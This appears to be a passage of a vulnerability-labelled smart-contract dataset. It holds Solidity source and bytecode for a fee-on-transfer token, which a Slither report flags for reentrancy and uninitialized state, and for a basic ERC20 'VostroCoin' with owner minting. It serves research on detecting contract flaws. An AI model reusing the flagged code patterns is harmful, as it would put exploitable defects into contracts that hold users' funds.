_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() private {
if (_marketingFee == 0 && _liquidityFee == 0) return;
_previousMarketingFee = _marketingFee;
_previousLiquidityFee = _liquidityFee;
_marketingFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_marketingFee = _previousMarketingFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = true;
if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
require(balanceOf(to).add(amount) <= _maxWalletAmount, "wallet balance after transfer must be less than max wallet amount");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !bots[to]) {
_liquidityFee = _liquidityFeeOnBuy;
_marketingFee = _marketingFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_liquidityFee = _liquidityFeeOnSell;
_marketingFee = _marketingFeeOnSell;
}
if (!inSwap && from != uniswapV2Pair) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > swapAmount) {
swapAndLiquify(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee();
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
_marketingAddress,
block.timestamp
);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 autoLPamount = _liquidityFee.mul(contractTokenBalance).div(_marketingFee.add(_liquidityFee));
// split the contract balance into halves
uint256 half = autoLPamount.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(otherHalf); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = ((address(this).balance.sub(initialBalance)).mul(half)).div(otherHalf);
addLiquidity(half, newBalance);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function manualSwap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
if (contractBalance > 0) {
swapTokensForEth(contractBalance);
}
}
function manualSend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(contractETHBalance);
}
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
FeeBreakdown memory fees;
fees.tMarketing = amount.mul(_marketingFee).div(100);
fees.tLiquidity = amount.mul(_liquidityFee).div(100);
fees.tAmount = amount.sub(fees.tMarketing).sub(fees.tLiquidity);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(fees.tAmount);
_balances[address(this)] = _balances[address(this)].add(fees.tMarketing.add(fees.tLiquidity));
emit Transfer(sender, recipient, fees.tAmount);
}
receive() external payable {}
function setMaxWalletAmount(uint256 maxWalletAmount) external {
require(_msgSender() == _marketingAddress);
require(maxWalletAmount > _tTotal.div(200), "Amount must be greater than 0.5% of supply");
require(maxWalletAmount <= _tTotal, "Amount must be less than or equal to totalSupply");
_maxWalletAmount = maxWalletAmount;
}
function setSwapAmount(uint256 _swapAmount) external {
require(_msgSender() == _marketingAddress);
swapAmount = _swapAmount;
}
}
|
0x6080604052600436106101395760003560e01c806370a08231116100ab578063d52dfc141161006f578063d52dfc141461034e578063dd62ed3e14610364578063e581dc71146103aa578063e632313c146103c0578063f2fde38b146103e0578063f42938901461040057600080fd5b806370a08231146102c45780638da5cb5b146102fa57806395d89b4114610145578063a9059cbb14610318578063c4066f2f1461033857600080fd5b80632e8fa821116100fd5780632e8fa82114610219578063313ce5671461022f5780633c0a73ae1461024b57806349bd5a5e1461026157806351bc3c85146102995780636c0a24eb146102ae57600080fd5b806306fdde0314610145578063095ea7b31461018157806318160ddd146101b157806323b872dd146101d757806327a14fc2146101f757600080fd5b3661014057005b600080fd5b34801561015157600080fd5b50604080518082018252600481526329aba0a760e11b6020820152905161017891906112fb565b60405180910390f35b34801561018d57600080fd5b506101a161019c366004611365565b610415565b6040519015158152602001610178565b3480156101bd57600080fd5b5068056bc75e2d631000005b604051908152602001610178565b3480156101e357600080fd5b506101a16101f2366004611391565b61042c565b34801561020357600080fd5b506102176102123660046113d2565b610495565b005b34801561022557600080fd5b506101c960125481565b34801561023b57600080fd5b5060405160098152602001610178565b34801561025757600080fd5b506101c960065481565b34801561026d57600080fd5b50601154610281906001600160a01b031681565b6040516001600160a01b039091168152602001610178565b3480156102a557600080fd5b506102176105a6565b3480156102ba57600080fd5b506101c960055481565b3480156102d057600080fd5b506101c96102df3660046113eb565b6001600160a01b031660009081526002602052604090205490565b34801561030657600080fd5b506000546001600160a01b0316610281565b34801561032457600080fd5b506101a1610333366004611365565b6105e8565b34801561034457600080fd5b506101c960095481565b34801561035a57600080fd5b506101c960085481565b34801561037057600080fd5b506101c961037f366004611408565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103b657600080fd5b506101c960075481565b3480156103cc57600080fd5b506102176103db3660046113d2565b6105f5565b3480156103ec57600080fd5b506102176103fb3660046113eb565b61061a565b34801561040c57600080fd5b506102176106e2565b6000610422338484610712565b5060015b92915050565b6000610439848484610836565b61048b84336104868560405180606001604052806028815260200161159a602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610c10565b610712565b5060019392505050565b600f546001600160a01b0316336001600160a01b0316146104b557600080fd5b6104c968056bc75e2d6310000060c8610c4a565b811161052f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d7573742062652067726561746572207468616e20302e3525604482015269206f6620737570706c7960b01b60648201526084015b60405180910390fd5b68056bc75e2d631000008111156105a15760405162461bcd60e51b815260206004820152603060248201527f416d6f756e74206d757374206265206c657373207468616e206f72206571756160448201526f6c20746f20746f74616c537570706c7960801b6064820152608401610526565b600555565b600f546001600160a01b0316336001600160a01b0316146105c657600080fd5b3060009081526002602052604090205480156105e5576105e581610c93565b50565b6000610422338484610836565b600f546001600160a01b0316336001600160a01b03161461061557600080fd5b601255565b6000546001600160a01b031633146106745760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610526565b6001600160a01b0381166106d95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610526565b6105e581610e13565b600f546001600160a01b0316336001600160a01b03161461070257600080fd5b4780156105e5576105e581610e63565b6001600160a01b0383166107745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610526565b6001600160a01b0382166107d55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610526565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661089a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610526565b6001600160a01b0382166108fc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610526565b6000811161095e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610526565b60016109726000546001600160a01b031690565b6001600160a01b0316846001600160a01b0316141580156109a157506000546001600160a01b03848116911614155b80156109b657506001600160a01b0384163014155b80156109cb57506001600160a01b0383163014155b15610ba5576011546001600160a01b0385811691161480156109fb57506010546001600160a01b03848116911614155b15610aaa57600554610a2c83610a26866001600160a01b031660009081526002602052604090205490565b90610ea1565b1115610aaa5760405162461bcd60e51b815260206004820152604160248201527f77616c6c65742062616c616e6365206166746572207472616e73666572206d7560448201527f7374206265206c657373207468616e206d61782077616c6c657420616d6f756e6064820152601d60fa1b608482015260a401610526565b6011546001600160a01b038581169116148015610ad557506010546001600160a01b03848116911614155b8015610afa57506001600160a01b0383166000908152600e602052604090205460ff16155b15610b0c57600654600c55600754600d555b6011546001600160a01b038481169116148015610b3757506010546001600160a01b03858116911614155b15610b4957600854600c55600954600d555b60135460ff16158015610b6a57506011546001600160a01b03858116911614155b15610ba55730600090815260026020526040902054601254811115610b9257610b9281610f00565b478015610ba257610ba247610e63565b50505b6001600160a01b03841660009081526004602052604090205460ff1680610be457506001600160a01b03831660009081526004602052604090205460ff165b15610bed575060005b610bf984848484610f85565b610c0a600a54600c55600b54600d55565b50505050565b60008184841115610c345760405162461bcd60e51b815260040161052691906112fb565b506000610c418486611457565b95945050505050565b6000610c8c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f9d565b9392505050565b6013805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cd557610cd561146e565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610d2957600080fd5b505afa158015610d3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d619190611484565b81600181518110610d7457610d7461146e565b6001600160a01b039283166020918202929092010152601054610d9a9130911684610712565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790610dd39085906000908690309042906004016114a1565b600060405180830381600087803b158015610ded57600080fd5b505af1158015610e01573d6000803e3d6000fd5b50506013805460ff1916905550505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e9d573d6000803e3d6000fd5b5050565b600080610eae8385611512565b905083811015610c8c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610526565b6013805460ff19166001179055600c54600d54600091610f3691610f2391610ea1565b600c54610f309085610fcb565b90610c4a565b90506000610f45826002610c4a565b90506000610f53848361104a565b905047610f5f82610c93565b6000610f7983610f3086610f73478761104a565b90610fcb565b9050610e01848261108c565b80610f9257610f9261114f565b610bf984848461117d565b60008183610fbe5760405162461bcd60e51b815260040161052691906112fb565b506000610c41848661152a565b600082610fda57506000610426565b6000610fe6838561154c565b905082610ff3858361152a565b14610c8c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610526565b6000610c8c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c10565b6010546110a49030906001600160a01b031684610712565b601054600f5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c4016060604051808303818588803b15801561110f57600080fd5b505af1158015611123573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611148919061156b565b5050505050565b600d5415801561115f5750600c54155b1561116657565b600d8054600b55600c8054600a5560009182905555565b6111a160405180606001604052806000815260200160008152602001600081525090565b6111bb6064610f30600d5485610fcb90919063ffffffff16565b6020820152600c546111d590606490610f30908590610fcb565b80825260208201516111f391906111ed90859061104a565b9061104a565b6040808301919091526001600160a01b03851660009081526002602052205461121c908361104a565b6001600160a01b0380861660009081526002602052604080822093909355838301519186168152919091205461125191610ea1565b6001600160a01b03841660009081526002602090815260409091209190915581519082015161129a916112849190610ea1565b3060009081526002602052604090205490610ea1565b30600090815260026020908152604091829020929092558281015190519081526001600160a01b0385811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600060208083528351808285015260005b818110156113285785810183015185820160400152820161130c565b8181111561133a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105e557600080fd5b6000806040838503121561137857600080fd5b823561138381611350565b946020939093013593505050565b6000806000606084860312156113a657600080fd5b83356113b181611350565b925060208401356113c181611350565b929592945050506040919091013590565b6000602082840312156113e457600080fd5b5035919050565b6000602082840312156113fd57600080fd5b8135610c8c81611350565b6000806040838503121561141b57600080fd5b823561142681611350565b9150602083013561143681611350565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b60008282101561146957611469611441565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561149657600080fd5b8151610c8c81611350565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114f15784516001600160a01b0316835293830193918301916001016114cc565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561152557611525611441565b500190565b60008261154757634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561156657611566611441565b500290565b60008060006060848603121561158057600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122013ef4b98c88da98c3ac374af1518200c64f5367fb6e7df66b3545bc7193da74164736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,365 |
0x92EC9747787b1b9faC430c0Df877d25b08eBd7cE
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor (address _paramOwner) {
require(_paramOwner != address(0), "Ownable: wrong parameter");
_owner = _paramOwner;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract VostroCoin is Context, IERC20, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (address _owner) Ownable(_owner) {
_name = "Vostro Coin";
_symbol = "VTR";
_totalSupply = 100_000_000 * 10 ** uint256(decimals());
_balances[_owner] = _totalSupply;
emit Transfer(address(0) , _owner, _totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function mint(address account, uint256 amount) external onlyOwner virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c578063a457c2d711610066578063a457c2d7146101c2578063a9059cbb146101d5578063dd62ed3e146101e8578063f2fde38b14610221576100ea565b806370a082311461018c5780638da5cb5b1461019f57806395d89b41146101ba576100ea565b806323b872dd116100c857806323b872dd14610142578063313ce56714610155578063395093511461016457806340c10f1914610177576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f7610234565b6040516101049190610abc565b60405180910390f35b61012061011b366004610a93565b6102c6565b6040519015158152602001610104565b6003545b604051908152602001610104565b610120610150366004610a58565b6102dc565b60405160128152602001610104565b610120610172366004610a93565b610392565b61018a610185366004610a93565b6103c9565b005b61013461019a366004610a05565b610502565b6000546040516001600160a01b039091168152602001610104565b6100f7610521565b6101206101d0366004610a93565b610530565b6101206101e3366004610a93565b6105cb565b6101346101f6366004610a26565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61018a61022f366004610a05565b6105d8565b60606004805461024390610b3e565b80601f016020809104026020016040519081016040528092919081815260200182805461026f90610b3e565b80156102bc5780601f10610291576101008083540402835291602001916102bc565b820191906000526020600020905b81548152906001019060200180831161029f57829003601f168201915b5050505050905090565b60006102d33384846106f2565b50600192915050565b60006102e9848484610816565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156103735760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61038785336103828685610b27565b6106f2565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916102d3918590610382908690610b0f565b6000546001600160a01b031633146104235760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161036a565b6001600160a01b0382166104795760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161036a565b806003600082825461048b9190610b0f565b90915550506001600160a01b038216600090815260016020526040812080548392906104b8908490610b0f565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b0381166000908152600160205260409020545b919050565b60606005805461024390610b3e565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105b25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161036a565b6105c133856103828685610b27565b5060019392505050565b60006102d3338484610816565b6000546001600160a01b031633146106325760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161036a565b6001600160a01b0381166106975760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161036a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107545760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161036a565b6001600160a01b0382166107b55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161036a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661087a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161036a565b6001600160a01b0382166108dc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161036a565b6001600160a01b038316600090815260016020526040902054818110156109545760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161036a565b61095e8282610b27565b6001600160a01b038086166000908152600160205260408082209390935590851681529081208054849290610994908490610b0f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109e091815260200190565b60405180910390a350505050565b80356001600160a01b038116811461051c57600080fd5b600060208284031215610a16578081fd5b610a1f826109ee565b9392505050565b60008060408385031215610a38578081fd5b610a41836109ee565b9150610a4f602084016109ee565b90509250929050565b600080600060608486031215610a6c578081fd5b610a75846109ee565b9250610a83602085016109ee565b9150604084013590509250925092565b60008060408385031215610aa5578182fd5b610aae836109ee565b946020939093013593505050565b6000602080835283518082850152825b81811015610ae857858101830151858201604001528201610acc565b81811115610af95783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610b2257610b22610b79565b500190565b600082821015610b3957610b39610b79565b500390565b600281046001821680610b5257607f821691505b60208210811415610b7357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122057b8cf